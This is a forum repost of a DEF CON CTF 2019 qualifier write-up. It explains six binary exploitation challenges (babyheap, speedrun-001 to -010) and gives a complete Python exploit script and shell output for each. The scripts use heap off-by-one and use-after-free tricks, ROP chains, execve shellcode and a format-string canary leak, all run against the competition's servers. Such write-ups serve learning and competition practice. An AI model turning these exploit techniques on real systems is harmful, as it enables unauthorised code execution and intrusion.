Nytro Posted May 14, 2019 Report Posted May 14, 2019 DEF CON CTF 2019 Qualifier Writeup DEF CON CTF 2019 Qualfier had been held this weekend and I played this CTF with team dcua. We got 1347 in total and reached the 35th place. I enjoyed it but I'm not convinced the scoring system of speedrun challs. Anyway, the quality of the challenges I solved were pretty good. Thank you @oooverflow for holding such a big competition. [Pwn 112pts] babyheap [Pwn 5pts] speedrun-001 [Pwn 5pts] speedrun-002 [Pwn 5pts] speedrun-003 [Pwn 5pts] speedrun-009 [Pwn 5pts] speedrun-010 [Pwn 112pts] babyheap We are given a 64-bit ELF binary and the libc binary. We can malloc / free / show maximum 10 chunks and there's no double free and can specify the data size between 1 to 0x178. However, it allocates 0xf8 bytes if the data size is less than or equals to 0xf8, otherwise 0x178 bytes. First of all, let's leak the libc address. I consumed all the tcache and got the libc address by leaking the unsorted bin address linked to the fastbin chunks. (Also I leaked the heap address but I didn't use it.) The goal is to write the one gadget address to __free_hook or __malloc_hook as RELRO is fully enable. The program has a off-by-one vulnerability and we can overwrite one byte in the data. So, we can change the least byte of the size info of the next chunk if we set the data size to 0xf8. It seems coalescing chunks by overlapping is enough, but there are 2 problems: It quits reading our input when a NULL byte or a newline is given. It clears the data region with 0 whenever we free the chunk. After some trials I found a way to overcome them. The size of the region to be cleared when freed depends on our input. And we have an off-by-one vulnerability. These means that we can write byte by byte and keep it on the memory without being erased. In this way we can just write the address of __mallo_hook into the freed chunk and link it to the tcache. This is the final exploit (__free_hook+__libc_system / __free_hook+one gadget didn't work because of the memory layout): from ptrlib import * def malloc(data, size): sock.recvuntil('Command:\n> ') sock.sendline('M') sock.recvuntil('>') sock.sendline(str(size)) sock.recvuntil('>') sock.sendline(data) def malloc2(data, size): #assert data[-1] == 0 sock.recvuntil('Command:\n> ') sock.sendline('M') sock.recvuntil('>') sock.sendline(str(size)) sock.recvuntil('>') sock.send(data) def free(index): sock.recvuntil('Command:\n> ') sock.sendline('F') sock.recvuntil('>') sock.sendline(str(index)) def show(index): sock.recvuntil('Command:\n> ') sock.sendline('S') sock.recvuntil('> ') sock.sendline(str(index)) return sock.recvline().rstrip() #""" libc = ELF("libc.so") main_arena = 0x1e4c40 delta = 592 one_gadget = 0x106ef8 sock = Socket("babyheap.quals2019.oooverflow.io", 5000) #""" """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") main_arena = 0x3ebc40 delta = 592 one_gadget = 0x10a38c #sock = Socket("127.0.0.1", 5000) sock = Process(["stdbuf", "-o0", "./babyheap"]) #""" # leak libc base and heap address for i in range(9): malloc('A' * 8, 8) for i in reversed(range(9)): free(i) for i in range(9): if i == 5: malloc('', 8) else: malloc('A' * 8, 8) addr_main_arena = u64(show(7)[8:]) addr_heap = u64(show(5)) libc_base = addr_main_arena - main_arena - delta dump("libc base = " + hex(libc_base)) dump("addr heap = " + hex(addr_heap)) # clear for i in reversed(range(9)): free(i) # overlap chunk malloc('A', 0xf8) # 0 malloc('B', 0xf8) # 1 malloc('C', 0xf8) # 2 payload = b'A' * 0xf8 payload += b'\x81' free(0) malloc(payload, 0xf8) # 0 free(1) ## write __malloc_hook to 2nd chunk free(2) # craft __malloc_hook append = p64(libc_base + libc.symbol("__malloc_hook"))[:-1] for i in range(1, len(append) + 1): payload = b'A' * 0xf8 payload += p16(0x101) # size payload += b'X' * 6 payload += append[:-i] print(payload[0xf8:]) malloc(payload, len(payload) - 1) free(1) # nullify size malloc(b'A' * 0xff, 0x100) free(1) # fix size payload = b'A' * 0xf8 payload += p16(0x101) payload += b'\x00' malloc2(payload, len(payload)) # link it malloc(b'A', 0xf8) # 2 payload = p64(libc_base + one_gadget)[:-2] #payload = p64(libc_base + libc.symbol("system"))[:-2] dump("__malloc_hook = " + hex(libc_base + libc.symbol("__malloc_hook"))) dump("one_gadget = " + hex(libc_base + one_gadget)) malloc(payload, 0xf8) # 3 == __malloc_hook # get the shell! #free(2) sock.recvuntil('Command:\n> ') sock.sendline('M') sock.sendline('7') sock.interactive() Perfect! $ python solve.py [+] Socket: Successfully connected to babyheap.quals2019.oooverflow.io:5000 [ptrlib] libc base = 0x7fbca573c000 [ptrlib] addr heap = 0x5616a35cda60 b'\x01\x01XXXXXX0\x0c\x92\xa5\xbc\x7f' b'\x01\x01XXXXXX0\x0c\x92\xa5\xbc' b'\x01\x01XXXXXX0\x0c\x92\xa5' b'\x01\x01XXXXXX0\x0c\x92' b'\x01\x01XXXXXX0\x0c' b'\x01\x01XXXXXX0' b'\x01\x01XXXXXX' [ptrlib] __malloc_hook = 0x7fbca5920c30 [ptrlib] one_gadget = 0x7fbca5842ef8 [ptrlib]$ Size: > [ptrlib]$ cat flag OOO{4_b4byh34p_h45_nOOO_n4m3} [Pwn 5pts] speedrun-001 The binary has a simple stack overflow. We can easily craft a ROP to get the shell because the binary is statically linked. from ptrlib import * elfpath = "./speedrun-001" libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Socket("speedrun-001.quals2019.oooverflow.io", 31337) elf = ELF(elfpath) #sock = Process(elfpath) addr_read = 0x4498a0 bss = 0x6b6000 rop_pop_rdi = 0x00400686 rop_pop_rsi = 0x004101f3 rop_pop_rax = 0x00415664 rop_pop_rdx = 0x004498b5 rop_syscall = 0x0040129c payload = b'A' * 0x408 payload += p64(rop_pop_rdi) payload += p64(0) payload += p64(rop_pop_rsi) payload += p64(bss) payload += p64(rop_pop_rdx) payload += p64(8) payload += p64(addr_read) payload += p64(rop_pop_rdi) payload += p64(bss) payload += p64(rop_pop_rsi) payload += p64(0) payload += p64(rop_pop_rdx) payload += p64(0) payload += p64(rop_pop_rax) payload += p64(59) payload += p64(rop_syscall) sock.sendline(payload) from time import sleep sleep(1) sock.send("/bin/sh") sock.interactive() $ python solve.py [+] Socket: Successfully connected to speedrun-001.quals2019.oooverflow.io:31337 [ptrlib]$ Hello brave new challenger Any last words? This will be the last thing that you say: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ cat flag [ptrlib]$ OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.} [Pwn 5pts] speedrun-002 Similar to speedrun-001 but it's not statically linked. I crafted a simple ROP stager. from ptrlib import * from time import sleep elfpath = "./speedrun-002" libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") elf = ELF(elfpath) sock = Socket("speedrun-002.quals2019.oooverflow.io", 31337) #sock = Process(elfpath) plt_read = 0x4005e0 plt_puts = 0x4005b0 rop_pop_rdi = 0x004008a3 rop_pop_rsi_r15 = 0x004008a1 rop_pop_rdx = 0x004006ec sock.send("Everything intelligent is so boring.") sock.recvuntil("thing to say.") payload = b'A' * 0x408 payload += p64(rop_pop_rdi) payload += p64(elf.got("puts")) payload += p64(plt_puts) payload += p64(0x400600) payload += p64(0xffffffffffffffdd) sock.sendline(payload) sock.recvline() sock.recvline() sock.recvline() addr_puts = u64(sock.recvline().rstrip()) libc_base = addr_puts - libc.symbol("puts") dump("libc base = " + hex(libc_base)) sock.recvuntil("What say you now?") sock.send("Everything intelligent is so boring.") sock.recvuntil("thing to say.") rop_pop_rax = libc_base + 0x000439c7 rop_syscall = libc_base + 0x000d2975 payload = b'A' * 0x408 payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(rop_pop_rsi_r15) payload += p64(0) payload += p64(0) payload += p64(rop_pop_rdx) payload += p64(0) payload += p64(rop_pop_rax) payload += p64(59) payload += p64(rop_syscall) sock.sendline(payload) sock.interactive() $ python solve.py [+] Socket: Successfully connected to speedrun-002.quals2019.oooverflow.io:31337 [ptrlib] libc base = 0x7fd1891c6000 [ptrlib]$ Tell me more. Fascinating. cat flag [ptrlib]$ OOO{I_didn't know p1zzA places__mAde pwners.} [Pwn 5pts] speedrun-003 Now it's a shellcode challenge. We have to make the shellcode to be exactly 30 bytes. And the result of xor(shellcode[:15]) must be equals to xor(shellcode[15:]). from pwn import * def xor(shellcode): r = 0 for c in shellcode: r ^= ord(c) return r elfpath = "speedrun-003" sock = remote("speedrun-003.quals2019.oooverflow.io", 31337) #sock = process(elfpath) shellcode = asm(""" mov rbx, 0xFF978CD091969DD1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall """, arch="amd64") shellcode += b'A' * (0x1d - len(shellcode)) print(disasm(shellcode, arch='amd64')) for c in range(0x100): if xor(shellcode[:15]) == xor(shellcode[15:] + chr(c)): shellcode += chr(c) break else: print("ops") sock.send(shellcode) sock.interactive() $ python solve.py [+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done 0: 48 bb d1 9d 96 91 d0 movabs rbx,0xff978cd091969dd1 7: 8c 97 ff a: 48 f7 db neg rbx d: 53 push rbx e: 54 push rsp f: 5f pop rdi 10: 99 cdq 11: 52 push rdx 12: 57 push rdi 13: 54 push rsp 14: 5e pop rsi 15: b0 3b mov al,0x3b 17: 0f 05 syscall 19: 41 rex.B 1a: 41 rex.B 1b: 41 rex.B 1c: 41 rex.B [*] Switching to interactive mode Think you can drift? Send me your drift $ cat flag OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)} $ [Pwn 5pts] speedrun-009 It has a simple stack overflow vuln but the SSP is enabled. It also has a FSB for only leaking the memory. So, I leaked the canary, libc basae and crafted a ROP. from ptrlib import * libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Socket("speedrun-009.quals2019.oooverflow.io", 31337) #sock = Process("./speedrun-009") # leak canary _ = input() sock.recvuntil("1, 2, or 3\n") sock.send("2") payload = b'%163$p.%169$p.' sock.send(payload) sock.recvuntil("it \"") r = sock.recvuntil("\"") l = r.split(b".") canary = int(l[0], 16) addr_libc_start_main_ret = int(l[1], 16) libc_base = addr_libc_start_main_ret - libc.symbol("__libc_start_main") - 231 dump("canary = " + hex(canary)) dump("libc base = " + hex(libc_base)) # overwrite sock.recvuntil("1, 2, or 3\n") sock.send("1") #payload = b'A' * 0x4d8 payload = b'A' * 0x408 payload += p64(canary) payload += b'A' * 8 payload += p64(libc_base + 0x000439c7) payload += p64(59) payload += p64(libc_base + 0x0002155f) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + 0x00023e6a) payload += p64(0) payload += p64(libc_base + 0x00001b96) payload += p64(0) payload += p64(libc_base + 0x000d2975) #payload += b'A' * (0x5dc - len(payload)) sock.send(payload) # get the shell! sock.send("3") sock.interactive() $ python solve.py [+] Socket: Successfully connected to speedrun-009.quals2019.oooverflow.io:31337 [ptrlib] canary = 0x3af6834656253c00 [ptrlib] libc base = 0x7fc29e74c000 [ptrlib]$ Choose wisely. 1, 2, or 3 3 [ptrlib]$ cat flag [ptrlib]$ OOO{Is it even about the cars anymore? Where does it end???} [Pwn 5pts] speedrun-010 It's a heap challenge now. It doesn't have a double free but have a UAF. We can set the name and the message seperately and can free name before used by the message. In this way we can leak the puts address and change it to __libc_system. from ptrlib import * def alloc_name(name): sock.recvuntil("1, 2, 3, 4, or 5\n") sock.send("1") sock.recvline() sock.send(name) def alloc_message(msg): sock.recvuntil("1, 2, 3, 4, or 5\n") sock.send("2") sock.recvline() sock.send(msg) def free_name(): sock.recvuntil("1, 2, 3, 4, or 5\n") sock.send("3") def free_message(): sock.recvuntil("1, 2, 3, 4, or 5\n") sock.send("4") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./speedrun-010") sock = Socket("speedrun-010.quals2019.oooverflow.io", 31337) # leak libc alloc_name("A") alloc_name("B") free_name() free_name() alloc_name("B" * 0x17) alloc_message("X" * 0x10) addr_puts = u64(sock.recvline()[0x18:].rstrip()) libc_base = addr_puts - libc.symbol("puts") dump("libc base = " + hex(libc_base)) # get the shell alloc_name("/bin/sh") alloc_name("/bin/sh") free_name() alloc_name("sh;") payload = b'X' * 0x10 payload += p64(libc_base + libc.symbol("system")) dump("system = " + hex(libc_base + libc.symbol("system"))) alloc_message(payload) sock.interactive() $ python solve.py [+] Socket: Successfully connected to speedrun-010.quals2019.oooverflow.io:31337 [ptrlib] libc base = 0x7f321d23c000 [ptrlib] system = 0x7f321d28b440 [ptrlib]$ cat flag [ptrlib]$ OOO{Yeah, he's loony. He just like his toons. Aren't W#_____411???} Sursa: https://ptr-yudai.hatenablog.com/entry/2019/05/13/134140 Quote